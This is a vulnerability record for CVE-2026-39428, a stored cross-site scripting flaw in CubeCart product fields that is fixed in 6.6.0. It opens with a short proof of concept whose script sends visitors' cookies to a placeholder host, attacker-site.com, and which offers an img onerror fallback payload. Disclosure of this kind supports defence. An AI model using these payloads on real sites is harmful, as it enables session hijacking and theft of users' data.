CVE-2026-39428

<!-- PoC for Stored XSS in CubeCart Product Field --> <!-- Step 1: Log in as Administrator --> <!-- Step 2: Navigate to Product Management -> Create/Edit Product --> <!-- Step 3: Inject the following payload into a vulnerable field (e.g., Product Description) --> <script> // Example: Steal cookies fetch('http://attacker-site.com/steal?c=' + document.cookie); alert('XSS Triggered'); </script> <!-- Alternatively, using img tag if script tags are filtered --> <img src=x onerror="alert('XSS')">

{"cve": {"id": "CVE-2026-39428", "sourceIdentifier": "[email protected]", "published": "2026-05-13T21:16:46.800", "lastModified": "2026-05-14T16:49:18.583", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CubeCart is an ecommerce software solution. Prior to 6.6.0, a Stored Cross-Site Scripting (XSS) vulnerability exists in CubeCart v6.x. An attacker with administrative privileges can inject malicious JavaScript payloads into multiple fields during the creation or modification of a product. These payloads are stored in the database and executed whenever a user (customer or another administrator) views the affected product pages, which could lead to session hijacking or unauthorized actions. This vulnerability is fixed in 6.6.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/cubecart/v6/security/advisories/GHSA-gvxc-5v7r-272m", "source": "[email protected]"}, {"url": "https://github.com/cubecart/v6/security/advisories/GHSA-gvxc-5v7r-272m", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}